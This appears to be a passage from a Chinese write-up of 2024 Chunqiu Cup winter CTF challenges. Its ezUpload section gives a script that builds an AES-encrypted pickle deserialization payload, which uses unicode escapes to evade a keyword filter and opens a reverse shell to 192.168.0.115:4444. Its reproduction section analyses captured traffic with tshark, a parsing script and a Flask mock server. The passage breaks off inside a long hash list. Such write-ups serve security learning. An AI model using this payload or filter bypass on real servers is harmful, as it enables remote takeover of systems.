春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

admin 2025年1月20日08:44:16评论24 views字数 116559阅读388分31秒阅读模式

01

   ezUpload

02

   reproduction

03

   EzMisc

04

   dance

05

   easyvm

06

   toys

07

   和谐

08

   rogue_like

09

   FlagBot

10

   backdoor

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

ezUpload

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

题目是一个文件加解密系统,探测后发现可以上传TXT文件

尝试随便上传一个内容,发现加密后的内容疑似AES加密后的内容

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

扫描路由后发现存在hint路由,获取到内容VXBMT2FkX2VuY3I3UHQzZA==,BASE64解密后得到内容UpLOad_encr7Pt3d

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

进一步探测后,发现解密文件时存在pickle反序列化,因此构造pickle反序列化payload,将AES-ECB加密后的内容上传解密,但是存在WAF拦截,盲测后发现过滤内容如下:

if b'R' in data or b'i' in data or b'b' in data or b'o' in data or b'curl' in data or b'flag' in data or b'system' in data or b' ' in data:

构造反弹Shell的payload:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import pickle
import base64


def encrypt_data(data):
    key = b'UpLOad_encr7Pt3d'
    cipher = AES.new(key, AES.MODE_ECB)
    padded_data = pad(data, AES.block_size)
    encrypted_data = cipher.encrypt(padded_data)
    return base64.b64encode(encrypted_data).decode('utf-8')

payload = b'''V__u0062uu0069ltu0069n__
Vmap
x93p0
0(]Vu0069mpu006Frtu0020su006Fcket,suu0062pru006Fcess,u006Fs;s=su006Fcket.su006Fcket(su006Fcket.AF_INET,su006Fcket.SOCK_STu0052EAM);s.cu006Fnnect(("192.168.0.115",4444));u006Fs.dup2(s.fu0069lenu006F(),0);u006Fs.dup2(s.fu0069lenu006F(),1);u006Fs.dup2(s.fu0069lenu006F(),2);p=suu0062pru006Fcess.call(["/u0062u0069n/sh","-u0069"]);
ap1
0((V__u0062uu0069ltu0069n__
Vexec
x93g1
tp2
0(g0
g2
x81tp3
0V__u0062uu0069ltu0069n__
Vu0062ytes
x93p4
g3
x81.'''


print(encrypt_data(payload))

将生成的payload用TXT文本保存,上传文件解密,反弹Shell,成功获取服务器权限

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

reproduction

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

打开流量包,过流http请求流量

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

观察可以得出流量内容为对一个服务器的接口进行大量的请求

发送的请求包含positionhash两个字段

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

服务器返回分为500200400三种响应

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

再根据流量包分析可以得出这些流量包是在进行类似盲注的操作,返回200响应码后position会+1进行下一轮注入

exe进行了加壳处理无法直接分析盲注逻辑,考虑根据流量包中请求与响应构造模拟客户端,再使用client.exe对模拟客户端进行测试得到flag

先提取请求与响应:

D:Wiresharktshark.exe -r testflag.pcapng -Y "http" -T fields -e urlencoded-form.value -e http.response.code> output.txt

运行处理数据脚本前先批量替换制表符为空

处理数据脚本:

def read_and_process_file(file_path):
    result_dict = []
    with open(file_path, 'r'as file:
        lines = file.readlines()
        for i in range(0, len(lines), 2):
            # 确保有两行可以读取
            if i + 1 < len(lines):
                key_line = lines[i].strip()  # 去除首尾空白字符
                value_line = lines[i + 1].strip()
                pos = key_line.split(',')[0].strip()
                # 截取第一行逗号后的内容作为key
                key = key_line.split(',')[-1].strip()
                # 将处理后的key和value添加到字典中
                result_dict.append({pos:{key:value_line}})
    return result_dict

# 假设你的文件路径是 'your_file.txt'
file_path = 'output.txt'
result = read_and_process_file(file_path)
print(result)

编写一个模拟服务端

from flask import Flask, request, jsonify

app = Flask(__name__)

# 定义一个字典,用于存储传入值和对应的响应
response_list = [{'0': {'0167400eef2f00e5dafd7644fb3e3d6d''500'}}, {'0': {'b83b1916ca1cc17552e24ee98cd4518c''500'}}, {'0': {'cec5d1f92cef379ce26c8e357c4ceb70''500'}}, {'0': {'df06be27f001e1ccc23b6bac62b76bb8''500'}}, {'0': {'cf9a2ec2ed360217d8d972da9a73b4b1''500'}}, {'0': {'06adf343c2d384a7331f00c0c55809ed''500'}}, {'0': {'6699773c1e813784c53844e1c26b1733''500'}}, {'0': {'0ce48ad5c646c116691c4451c17dc5a1''500'}}, {'0': {'6a9a485d4030f9b5558a0c8deb8f77af''500'}}, {'0': {'0bcb6ffbec5cc87e21cf2139f88e9925''500'}}, {'0': {'b1c44d950c13191a3808ec76213e2d24''500'}}, {'0': {'673c781b6772ab7a23674f36593a1ac1''500'}}, {'0': {'113d16862ee604a9811551bce0c7c490''500'}}, {'0': {'99b87df1c1386e3f86ba7971c041d933''500'}}, {'0': {'062352b5435df2f54d41597ad44cf13e'''}}, {'200': {'200'''}}, {'200': {'200''500'}}, {'0': {'c855c482bf3d5954b6a997127ec1ee94''500'}}, {'0': {'401cd362359df071260aebf71836d52b''500'}}, {'0': {'6ec38b6e5e2e62e31015956780cdc5b6''500'}}, {'0': {'693325d01d8f376c0aa59f2438cd147a''500'}}, {'0': {'deacdfd6851d72a267f180c269b2578f''500'}}, {'0': {'efe115fd1235940252113df4a7d00aee''500'}}, {'0': {'ad8a6adb2196e0e432eda120700a6022''500'}}, {'0': {'208530224471663cf2a7ad02a80db28d''500'}}, {'0': {'dadefb8dfc6e229f6a0a4d11e5431085''500'}}, {'0': {'46db23c2b2efe7f8e7d9ffe4605a4660''500'}}, {'0': {'b1d18a2f5b6a982883c6728591ca752a''500'}}, {'0': {'327acfe04c2bdf06fe182c051336fe42''500'}}, {'0': {'749390ecd8fdb526a21d403c336ff76f''500'}}, {'0': {'2c59fd9ba8b44eb106bac9379ba8c18e''500'}}, {'0': {'80ba28c5abee89abe7825b24752c883f''500'}}, {'0': {'b26e9898be9447069a85d8ee418df985''500'}}, {'0': {'603d46455bd3c1bfce2f3d1f40006c62''500'}}, {'0': {'c8e5b12d8205221fcb57700553bc6d1d''500'}}, {'0': {'5a238d0dbd74be271e70e08697883883''500'}}, {'0': {'c47e93d8ce347680897b9f8d1e655b3d''500'}}, {'0': {'ccdc1766c84f74d7376ebc9f13955f15''500'}}, {'0': {'a79d5e01ceac580f13f98297b25ecfa1''500'}}, {'0': {'992793ddb406269517ee56b718bd852b''500'}}, {'0': {'84f0a181277bb584aefccc95c53893eb''500'}}, {'0': {'b83e7bc066b27a266623ea242c5e97c1''500'}}, {'0': {'2fb84163fd57517d8c634e24c181185a''500'}}, {'0': {'9655f71fd39678ecc73b0acd330e1908''500'}}, {'0': {'625e9ecb22a9e3ef846c944d2eb51482''500'}}, {'0': {'9732a8c1ee2ac5726d4efa6632c09cf9''500'}}, {'0': {'a3d278f45936108fb619ddb9a73ee8c0''500'}}, {'0': {'f288472b37fa6381d1d5df2cc959f7cb''500'}}, {'0': {'0b4d74254115d12b728a1fa0a02e0b8e''500'}}, {'0': {'656f0488186619a3078e62362f0ff59a''500'}}, {'0': {'3fdb45b2c4193be94868dc8937aeaf37''500'}}, {'0': {'3a008667c35e6d0607999e594a7dc71a''500'}}, {'0': {'e0b606e18b2ff6699d30a7410fb24e8b''500'}}, {'0': {'276d47ce4b20547a22b0b830ef12c6da''500'}}, {'0': {'cc32aa298a593c85f5df37d10b2e8962''500'}}, {'0': {'d002659ed9981d5b434fc1de217299ac''500'}}, {'0': {'2d61b93a6ef76fca313e455b7651d7b3''500'}}, {'0': {'8fa33c27bed861319c6f6830414c3d6b''500'}}, {'0': {'965f42b413681152fff54b5680495846''500'}}, {'0': {'dd5b5cd51050f4318304ab8a2550f0cc''500'}}, {'0': {'bed5ba395b238c44d19e6334cdb17f2d''500'}}, {'0': {'e3d0fa9cca0de20a4e98e079dd7c3069''500'}}, {'0': {'0880a32e51e1523b61cb60bacdd22d5f''500'}}, {'0': {'caf345e43a3a4c99b71a8e5a67accb9e''500'}}, {'0': {'9633b2b0980d5a88a9ca4a18a7c546a7''500'}}, {'0': {'09266dcc374f31e877a68697be029f96''500'}}, {'0': {'af7e0c2721a40aae5782d8a15db52767''500'}}, {'0': {'dde65aa3955c81ebb5773bb87b56acf2''500'}}, {'0': {'4f2855d8ca0bc9e5fe44f692defecfa0''500'}}, {'0': {'26ce223ba04a328330a2b38732d67400''500'}}, {'0': {'5a3409411227c567de7cb8e6d86d7cb4''500'}}, {'0': {'b89925ff880378f12864cc58202579af''500'}}, {'0': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e''200'}}, {'1': {'0167400eef2f00e5dafd7644fb3e3d6d''500'}}, {'1': {'b83b1916ca1cc17552e24ee98cd4518c''500'}}, {'1': {'cec5d1f92cef379ce26c8e357c4ceb70''500'}}, {'1': {'df06be27f001e1ccc23b6bac62b76bb8''500'}}, {'1': {'cf9a2ec2ed360217d8d972da9a73b4b1''500'}}, {'1': {'06adf343c2d384a7331f00c0c55809ed''500'}}, {'1': {'6699773c1e813784c53844e1c26b1733''500'}}, {'1': {'0ce48ad5c646c116691c4451c17dc5a1''500'}}, {'1': {'6a9a485d4030f9b5558a0c8deb8f77af''500'}}, {'1': {'0bcb6ffbec5cc87e21cf2139f88e9925''500'}}, {'1': {'b1c44d950c13191a3808ec76213e2d24''500'}}, {'1': {'673c781b6772ab7a23674f36593a1ac1''500'}}, {'1': {'113d16862ee604a9811551bce0c7c490''500'}}, {'1': {'99b87df1c1386e3f86ba7971c041d933''500'}}, {'1': {'062352b5435df2f54d41597ad44cf13e''500'}}, {'1': {'c855c482bf3d5954b6a997127ec1ee94''500'}}, {'1': {'401cd362359df071260aebf71836d52b''500'}}, {'1': {'6ec38b6e5e2e62e31015956780cdc5b6''500'}}, {'1': {'693325d01d8f376c0aa59f2438cd147a''500'}}, {'1': {'deacdfd6851d72a267f180c269b2578f''500'}}, {'1': {'efe115fd1235940252113df4a7d00aee''500'}}, {'1': {'ad8a6adb2196e0e432eda120700a6022''500'}}, {'1': {'208530224471663cf2a7ad02a80db28d''500'}}, {'1': {'dadefb8dfc6e229f6a0a4d11e5431085''500'}}, {'1': {'46db23c2b2efe7f8e7d9ffe4605a4660''500'}}, {'1': {'b1d18a2f5b6a982883c6728591ca752a''500'}}, {'1': {'327acfe04c2bdf06fe182c051336fe42''500'}}, {'1': {'749390ecd8fdb526a21d403c336ff76f''500'}}, {'1': {'2c59fd9ba8b44eb106bac9379ba8c18e''500'}}, {'1': {'80ba28c5abee89abe7825b24752c883f''500'}}, {'1': {'b26e9898be9447069a85d8ee418df985''500'}}, {'1': {'603d46455bd3c1bfce2f3d1f40006c62''500'}}, {'1': {'c8e5b12d8205221fcb57700553bc6d1d''500'}}, {'1': {'5a238d0dbd74be271e70e08697883883''500'}}, {'1': {'c47e93d8ce347680897b9f8d1e655b3d''500'}}, {'1': {'ccdc1766c84f74d7376ebc9f13955f15''500'}}, {'1': {'a79d5e01ceac580f13f98297b25ecfa1''500'}}, {'1': {'992793ddb406269517ee56b718bd852b''500'}}, {'1': {'84f0a181277bb584aefccc95c53893eb''500'}}, {'1': {'b83e7bc066b27a266623ea242c5e97c1''500'}}, {'1': {'2fb84163fd57517d8c634e24c181185a''500'}}, {'1': {'9655f71fd39678ecc73b0acd330e1908''500'}}, {'1': {'625e9ecb22a9e3ef846c944d2eb51482''500'}}, {'1': {'9732a8c1ee2ac5726d4efa6632c09cf9''500'}}, {'1': {'a3d278f45936108fb619ddb9a73ee8c0''500'}}, {'1': {'f288472b37fa6381d1d5df2cc959f7cb''500'}}, {'1': {'0b4d74254115d12b728a1fa0a02e0b8e''500'}}, {'1': {'656f0488186619a3078e62362f0ff59a''500'}}, {'1': {'3fdb45b2c4193be94868dc8937aeaf37''500'}}, {'1': {'3a008667c35e6d0607999e594a7dc71a''500'}}, {'1': {'e0b606e18b2ff6699d30a7410fb24e8b''500'}}, {'1': {'276d47ce4b20547a22b0b830ef12c6da''500'}}, {'1': {'cc32aa298a593c85f5df37d10b2e8962''500'}}, {'1': {'d002659ed9981d5b434fc1de217299ac''500'}}, {'1': {'2d61b93a6ef76fca313e455b7651d7b3''500'}}, {'1': {'8fa33c27bed861319c6f6830414c3d6b''500'}}, {'1': {'965f42b413681152fff54b5680495846''500'}}, {'1': {'dd5b5cd51050f4318304ab8a2550f0cc''500'}}, {'1': {'bed5ba395b238c44d19e6334cdb17f2d''500'}}, {'1': {'e3d0fa9cca0de20a4e98e079dd7c3069''500'}}, {'1': {'0880a32e51e1523b61cb60bacdd22d5f''500'}}, {'1': {'caf345e43a3a4c99b71a8e5a67accb9e''500'}}, {'1': {'9633b2b0980d5a88a9ca4a18a7c546a7''500'}}, {'1': {'09266dcc374f31e877a68697be029f96''500'}}, {'1': {'af7e0c2721a40aae5782d8a15db52767''500'}}, {'1': {'dde65aa3955c81ebb5773bb87b56acf2''500'}}, {'1': {'4f2855d8ca0bc9e5fe44f692defecfa0''500'}}, {'1': {'26ce223ba04a328330a2b38732d67400''500'}}, {'1': {'5a3409411227c567de7cb8e6d86d7cb4''500'}}, {'1': {'b89925ff880378f12864cc58202579af''500'}}, {'1': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e''500'}}, {'1': {'719aa677366a11a13d6e0fab7fa94126''500'}}, {'1': {'acbd15e5a36e317de9d853bf24f892a6''500'}}, {'1': {'1935c0d84acb890657ceb7749ff30a84''500'}}, {'1': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f''500'}}, {'1': {'1b677e57e5b420ed45c45245060500b2''500'}}, {'1': {'efa87c138fd8a74ceafb49415140a5a9''200'}}, {'2': {'0167400eef2f00e5dafd7644fb3e3d6d''500'}}, {'2': {'b83b1916ca1cc17552e24ee98cd4518c''500'}}, {'2': {'cec5d1f92cef379ce26c8e357c4ceb70'''}}, {'200': {'200'''}}, {'200': {'200''500'}}, {'2': {'df06be27f001e1ccc23b6bac62b76bb8''500'}}, {'2': {'cf9a2ec2ed360217d8d972da9a73b4b1''500'}}, {'2': {'06adf343c2d384a7331f00c0c55809ed''500'}}, {'2': {'6699773c1e813784c53844e1c26b1733''500'}}, {'2': {'0ce48ad5c646c116691c4451c17dc5a1''500'}}, {'2': {'6a9a485d4030f9b5558a0c8deb8f77af''500'}}, {'2': {'0bcb6ffbec5cc87e21cf2139f88e9925''500'}}, {'2': {'b1c44d950c13191a3808ec76213e2d24''500'}}, {'2': {'673c781b6772ab7a23674f36593a1ac1''500'}}, {'2': {'113d16862ee604a9811551bce0c7c490''500'}}, {'2': {'99b87df1c1386e3f86ba7971c041d933''500'}}, {'2': {'062352b5435df2f54d41597ad44cf13e''500'}}, {'2': {'c855c482bf3d5954b6a997127ec1ee94''500'}}, {'2': {'401cd362359df071260aebf71836d52b''500'}}, {'2': {'6ec38b6e5e2e62e31015956780cdc5b6''500'}}, {'2': {'693325d01d8f376c0aa59f2438cd147a''500'}}, {'2': {'deacdfd6851d72a267f180c269b2578f''500'}}, {'2': {'efe115fd1235940252113df4a7d00aee''500'}}, {'2': {'ad8a6adb2196e0e432eda120700a6022''500'}}, {'2': {'208530224471663cf2a7ad02a80db28d''500'}}, {'2': {'dadefb8dfc6e229f6a0a4d11e5431085''500'}}, {'2': {'46db23c2b2efe7f8e7d9ffe4605a4660''500'}}, {'2': {'b1d18a2f5b6a982883c6728591ca752a''500'}}, {'2': {'327acfe04c2bdf06fe182c051336fe42''500'}}, {'2': {'749390ecd8fdb526a21d403c336ff76f''500'}}, {'2': {'2c59fd9ba8b44eb106bac9379ba8c18e''500'}}, {'2': {'80ba28c5abee89abe7825b24752c883f''500'}}, {'2': {'b26e9898be9447069a85d8ee418df985''500'}}, {'2': {'603d46455bd3c1bfce2f3d1f40006c62''500'}}, {'2': {'c8e5b12d8205221fcb57700553bc6d1d''500'}}, {'2': {'5a238d0dbd74be271e70e08697883883''500'}}, {'2': {'c47e93d8ce347680897b9f8d1e655b3d''500'}}, {'2': {'ccdc1766c84f74d7376ebc9f13955f15''500'}}, {'2': {'a79d5e01ceac580f13f98297b25ecfa1''500'}}, {'2': {'992793ddb406269517ee56b718bd852b''500'}}, {'2': {'84f0a181277bb584aefccc95c53893eb''500'}}, {'2': {'b83e7bc066b27a266623ea242c5e97c1''500'}}, {'2': {'2fb84163fd57517d8c634e24c181185a''500'}}, {'2': {'9655f71fd39678ecc73b0acd330e1908''500'}}, {'2': {'625e9ecb22a9e3ef846c944d2eb51482''500'}}, {'2': {'9732a8c1ee2ac5726d4efa6632c09cf9''500'}}, {'2': {'a3d278f45936108fb619ddb9a73ee8c0''500'}}, {'2': {'f288472b37fa6381d1d5df2cc959f7cb''500'}}, {'2': {'0b4d74254115d12b728a1fa0a02e0b8e''500'}}, {'2': {'656f0488186619a3078e62362f0ff59a''500'}}, {'2': {'3fdb45b2c4193be94868dc8937aeaf37''500'}}, {'2': {'3a008667c35e6d0607999e594a7dc71a''500'}}, {'2': {'e0b606e18b2ff6699d30a7410fb24e8b''500'}}, {'2': {'276d47ce4b20547a22b0b830ef12c6da''500'}}, {'2': {'cc32aa298a593c85f5df37d10b2e8962''500'}}, {'2': {'d002659ed9981d5b434fc1de217299ac''500'}}, {'2': {'2d61b93a6ef76fca313e455b7651d7b3''500'}}, {'2': {'8fa33c27bed861319c6f6830414c3d6b''500'}}, {'2': {'965f42b413681152fff54b5680495846''500'}}, {'2': {'dd5b5cd51050f4318304ab8a2550f0cc''500'}}, {'2': {'bed5ba395b238c44d19e6334cdb17f2d''500'}}, {'2': {'e3d0fa9cca0de20a4e98e079dd7c3069''500'}}, {'2': {'0880a32e51e1523b61cb60bacdd22d5f''500'}}, {'2': {'caf345e43a3a4c99b71a8e5a67accb9e''500'}}, {'2': {'9633b2b0980d5a88a9ca4a18a7c546a7''500'}}, {'2': {'09266dcc374f31e877a68697be029f96''500'}}, {'2': {'af7e0c2721a40aae5782d8a15db52767''500'}}, {'2': {'dde65aa3955c81ebb5773bb87b56acf2''200'}}, {'3': {'0167400eef2f00e5dafd7644fb3e3d6d''500'}}, {'3': {'b83b1916ca1cc17552e24ee98cd4518c''500'}}, {'3': {'cec5d1f92cef379ce26c8e357c4ceb70''500'}}, {'3': {'df06be27f001e1ccc23b6bac62b76bb8''500'}}, {'3': {'cf9a2ec2ed360217d8d972da9a73b4b1''500'}}, {'3': {'06adf343c2d384a7331f00c0c55809ed''500'}}, {'3': {'6699773c1e813784c53844e1c26b1733''500'}}, {'3': {'0ce48ad5c646c116691c4451c17dc5a1''500'}}, {'3': {'6a9a485d4030f9b5558a0c8deb8f77af''500'}}, {'3': {'0bcb6ffbec5cc87e21cf2139f88e9925''500'}}, {'3': {'b1c44d950c13191a3808ec76213e2d24''500'}}, {'3': {'673c781b6772ab7a23674f36593a1ac1''500'}}, {'3': {'113d16862ee604a9811551bce0c7c490''500'}}, {'3': {'99b87df1c1386e3f86ba7971c041d933''500'}}, {'3': {'062352b5435df2f54d41597ad44cf13e''500'}}, {'3': {'c855c482bf3d5954b6a997127ec1ee94''500'}}, {'3': {'401cd362359df071260aebf71836d52b''500'}}, {'3': {'6ec38b6e5e2e62e31015956780cdc5b6''500'}}, {'3': {'693325d01d8f376c0aa59f2438cd147a''500'}}, {'3': {'deacdfd6851d72a267f180c269b2578f''500'}}, {'3': {'efe115fd1235940252113df4a7d00aee''500'}}, {'3': {'ad8a6adb2196e0e432eda120700a6022''500'}}, {'3': {'208530224471663cf2a7ad02a80db28d''500'}}, {'3': {'dadefb8dfc6e229f6a0a4d11e5431085''500'}}, {'3': {'46db23c2b2efe7f8e7d9ffe4605a4660''500'}}, {'3': {'b1d18a2f5b6a982883c6728591ca752a''500'}}, {'3': {'327acfe04c2bdf06fe182c051336fe42''500'}}, {'3': {'749390ecd8fdb526a21d403c336ff76f''500'}}, {'3': {'2c59fd9ba8b44eb106bac9379ba8c18e''500'}}, {'3': {'80ba28c5abee89abe7825b24752c883f''500'}}, {'3': {'b26e9898be9447069a85d8ee418df985''500'}}, {'3': {'603d46455bd3c1bfce2f3d1f40006c62''500'}}, {'3': {'c8e5b12d8205221fcb57700553bc6d1d''500'}}, {'3': {'5a238d0dbd74be271e70e08697883883''500'}}, {'3': {'c47e93d8ce347680897b9f8d1e655b3d''500'}}, {'3': {'ccdc1766c84f74d7376ebc9f13955f15''500'}}, {'3': {'a79d5e01ceac580f13f98297b25ecfa1''500'}}, {'3': {'992793ddb406269517ee56b718bd852b''500'}}, {'3': {'84f0a181277bb584aefccc95c53893eb''500'}}, {'3': {'b83e7bc066b27a266623ea242c5e97c1''500'}}, {'3': {'2fb84163fd57517d8c634e24c181185a''500'}}, {'3': {'9655f71fd39678ecc73b0acd330e1908''500'}}, {'3': {'625e9ecb22a9e3ef846c944d2eb51482''500'}}, {'3': {'9732a8c1ee2ac5726d4efa6632c09cf9''500'}}, {'3': {'a3d278f45936108fb619ddb9a73ee8c0''500'}}, {'3': {'f288472b37fa6381d1d5df2cc959f7cb''500'}}, {'3': {'0b4d74254115d12b728a1fa0a02e0b8e''500'}}, {'3': {'656f0488186619a3078e62362f0ff59a''500'}}, {'3': {'3fdb45b2c4193be94868dc8937aeaf37''500'}}, {'3': {'3a008667c35e6d0607999e594a7dc71a''500'}}, {'3': {'e0b606e18b2ff6699d30a7410fb24e8b''500'}}, {'3': {'276d47ce4b20547a22b0b830ef12c6da''500'}}, {'3': {'cc32aa298a593c85f5df37d10b2e8962''500'}}, {'3': {'d002659ed9981d5b434fc1de217299ac''500'}}, {'3': {'2d61b93a6ef76fca313e455b7651d7b3''500'}}, {'3': {'8fa33c27bed861319c6f6830414c3d6b''500'}}, {'3': {'965f42b413681152fff54b5680495846''500'}}, {'3': {'dd5b5cd51050f4318304ab8a2550f0cc''500'}}, {'3': {'bed5ba395b238c44d19e6334cdb17f2d''500'}}, {'3': {'e3d0fa9cca0de20a4e98e079dd7c3069''500'}}, {'3': {'0880a32e51e1523b61cb60bacdd22d5f''500'}}, {'3': {'caf345e43a3a4c99b71a8e5a67accb9e''500'}}, {'3': {'9633b2b0980d5a88a9ca4a18a7c546a7''500'}}, {'3': {'09266dcc374f31e877a68697be029f96''500'}}, {'3': {'af7e0c2721a40aae5782d8a15db52767''500'}}, {'3': {'dde65aa3955c81ebb5773bb87b56acf2''500'}}, {'3': {'4f2855d8ca0bc9e5fe44f692defecfa0''500'}}, {'3': {'26ce223ba04a328330a2b38732d67400''500'}}, {'3': {'5a3409411227c567de7cb8e6d86d7cb4''500'}}, {'3': {'b89925ff880378f12864cc58202579af''500'}}, {'3': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e''500'}}, {'3': {'719aa677366a11a13d6e0fab7fa94126''200'}}, {'4': {'0167400eef2f00e5dafd7644fb3e3d6d'''}}, {'200': {'200'''}}, {'200': {'200''500'}}, {'4': {'b83b1916ca1cc17552e24ee98cd4518c''500'}}, {'4': {'cec5d1f92cef379ce26c8e357c4ceb70''500'}}, {'4': {'df06be27f001e1ccc23b6bac62b76bb8''500'}}, {'4': {'cf9a2ec2ed360217d8d972da9a73b4b1''500'}}, {'4': {'06adf343c2d384a7331f00c0c55809ed''500'}}, {'4': {'6699773c1e813784c53844e1c26b1733''500'}}, {'4': {'0ce48ad5c646c116691c4451c17dc5a1''500'}}, {'4': {'6a9a485d4030f9b5558a0c8deb8f77af''500'}}, {'4': {'0bcb6ffbec5cc87e21cf2139f88e9925''500'}}, {'4': {'b1c44d950c13191a3808ec76213e2d24''500'}}, {'4': {'673c781b6772ab7a23674f36593a1ac1''500'}}, {'4': {'113d16862ee604a9811551bce0c7c490''500'}}, {'4': {'99b87df1c1386e3f86ba7971c041d933''500'}}, {'4': {'062352b5435df2f54d41597ad44cf13e''500'}}, {'4': {'c855c482bf3d5954b6a997127ec1ee94''500'}}, {'4': {'401cd362359df071260aebf71836d52b''500'}}, {'4': {'6ec38b6e5e2e62e31015956780cdc5b6''500'}}, {'4': {'693325d01d8f376c0aa59f2438cd147a''500'}}, {'4': {'deacdfd6851d72a267f180c269b2578f''500'}}, {'4': {'efe115fd1235940252113df4a7d00aee''500'}}, {'4': {'ad8a6adb2196e0e432eda120700a6022''500'}}, {'4': {'208530224471663cf2a7ad02a80db28d''500'}}, {'4': {'dadefb8dfc6e229f6a0a4d11e5431085''500'}}, {'4': {'46db23c2b2efe7f8e7d9ffe4605a4660''500'}}, {'4': {'b1d18a2f5b6a982883c6728591ca752a''500'}}, {'4': {'327acfe04c2bdf06fe182c051336fe42''500'}}, {'4': {'749390ecd8fdb526a21d403c336ff76f''500'}}, {'4': {'2c59fd9ba8b44eb106bac9379ba8c18e''500'}}, {'4': {'80ba28c5abee89abe7825b24752c883f''500'}}, {'4': {'b26e9898be9447069a85d8ee418df985''500'}}, {'4': {'603d46455bd3c1bfce2f3d1f40006c62''500'}}, {'4': {'c8e5b12d8205221fcb57700553bc6d1d''500'}}, {'4': {'5a238d0dbd74be271e70e08697883883''500'}}, {'4': {'c47e93d8ce347680897b9f8d1e655b3d''500'}}, {'4': {'ccdc1766c84f74d7376ebc9f13955f15''500'}}, {'4': {'a79d5e01ceac580f13f98297b25ecfa1''500'}}, {'4': {'992793ddb406269517ee56b718bd852b''500'}}, {'4': {'84f0a181277bb584aefccc95c53893eb''500'}}, {'4': {'b83e7bc066b27a266623ea242c5e97c1''500'}}, {'4': {'2fb84163fd57517d8c634e24c181185a''500'}}, {'4': {'9655f71fd39678ecc73b0acd330e1908''500'}}, {'4': {'625e9ecb22a9e3ef846c944d2eb51482''500'}}, {'4': {'9732a8c1ee2ac5726d4efa6632c09cf9''500'}}, {'4': {'a3d278f45936108fb619ddb9a73ee8c0''500'}}, {'4': {'f288472b37fa6381d1d5df2cc959f7cb''500'}}, {'4': {'0b4d74254115d12b728a1fa0a02e0b8e''500'}}, {'4': {'656f0488186619a3078e62362f0ff59a''500'}}, {'4': {'3fdb45b2c4193be94868dc8937aeaf37''500'}}, {'4': {'3a008667c35e6d0607999e594a7dc71a''500'}}, {'4': {'e0b606e18b2ff6699d30a7410fb24e8b''500'}}, {'4': {'276d47ce4b20547a22b0b830ef12c6da''500'}}, {'4': {'cc32aa298a593c85f5df37d10b2e8962''500'}}, {'4': {'d002659ed9981d5b434fc1de217299ac''500'}}, {'4': {'2d61b93a6ef76fca313e455b7651d7b3''500'}}, {'4': {'8fa33c27bed861319c6f6830414c3d6b''500'}}, {'4': {'965f42b413681152fff54b5680495846''500'}}, {'4': {'dd5b5cd51050f4318304ab8a2550f0cc''500'}}, {'4': {'bed5ba395b238c44d19e6334cdb17f2d''500'}}, {'4': {'e3d0fa9cca0de20a4e98e079dd7c3069''500'}}, {'4': {'0880a32e51e1523b61cb60bacdd22d5f''500'}}, {'4': {'caf345e43a3a4c99b71a8e5a67accb9e''500'}}, {'4': {'9633b2b0980d5a88a9ca4a18a7c546a7''500'}}, {'4': {'09266dcc374f31e877a68697be029f96''500'}}, {'4': {'af7e0c2721a40aae5782d8a15db52767''500'}}, {'4': {'dde65aa3955c81ebb5773bb87b56acf2''500'}}, {'4': {'4f2855d8ca0bc9e5fe44f692defecfa0''500'}}, {'4': {'26ce223ba04a328330a2b38732d67400''500'}}, {'4': {'5a3409411227c567de7cb8e6d86d7cb4''500'}}, {'4': {'b89925ff880378f12864cc58202579af''500'}}, {'4': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e''500'}}, {'4': {'719aa677366a11a13d6e0fab7fa94126''500'}}, {'4': {'acbd15e5a36e317de9d853bf24f892a6''500'}}, {'4': {'1935c0d84acb890657ceb7749ff30a84''500'}}, {'4': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f''500'}}, {'4': {'1b677e57e5b420ed45c45245060500b2''500'}}, {'4': {'efa87c138fd8a74ceafb49415140a5a9''500'}}, {'4': {'1c31f3d619908895c04d23a94fb3cdf7''500'}}, {'4': {'fd4561feb0138817c1940f29c22858db''500'}}, {'4': {'4816c4bd2975741d6d01a1be192c8bfe''500'}}, {'4': {'f0c7e4dfc4aaf4fbd9c5ec97c3d041e4''500'}}, {'4': {'4a78c7229f44396efdc4dcca286c6350''500'}}, {'4': {'386ff8133c399caa3e00624c52ccbc52''500'}}, {'4': {'6fdc923c48f7fa5ee4cf9e2b238ea171''500'}}, {'4': {'fbcee321e49086351a7220aeea572c99''500'}}, {'4': {'697e250874a271013fa06c87be84d4c5''500'}}, {'4': {'b906e90c4be2d07fbc1cb13c9f9398b7''500'}}, {'4': {'68dba9408af41481b762fa7041e9f7d1''500'}}, {'4': {'1ecc911fe653ab8ce683906b90078ded''500'}}, {'4': {'9c95feb5fa37f7ed210eb56bda6dc924''500'}}, {'4': {'d0cba97b871cf2d12c7ad87b7a8d6d14''500'}}, {'4': {'ed25379f44ac7ced2f0bf43e0bee0bbd''200'}}, {'5': {'0167400eef2f00e5dafd7644fb3e3d6d''500'}}, {'5': {'b83b1916ca1cc17552e24ee98cd4518c''500'}}, {'5': {'cec5d1f92cef379ce26c8e357c4ceb70''500'}}, {'5': {'df06be27f001e1ccc23b6bac62b76bb8''500'}}, {'5': {'cf9a2ec2ed360217d8d972da9a73b4b1''500'}}, {'5': {'06adf343c2d384a7331f00c0c55809ed''500'}}, {'5': {'6699773c1e813784c53844e1c26b1733''500'}}, {'5': {'0ce48ad5c646c116691c4451c17dc5a1''500'}}, {'5': {'6a9a485d4030f9b5558a0c8deb8f77af''500'}}, {'5': {'0bcb6ffbec5cc87e21cf2139f88e9925''500'}}, {'5': {'b1c44d950c13191a3808ec76213e2d24''500'}}, {'5': {'673c781b6772ab7a23674f36593a1ac1''500'}}, {'5': {'113d16862ee604a9811551bce0c7c490''500'}}, {'5': {'99b87df1c1386e3f86ba7971c041d933''500'}}, {'5': 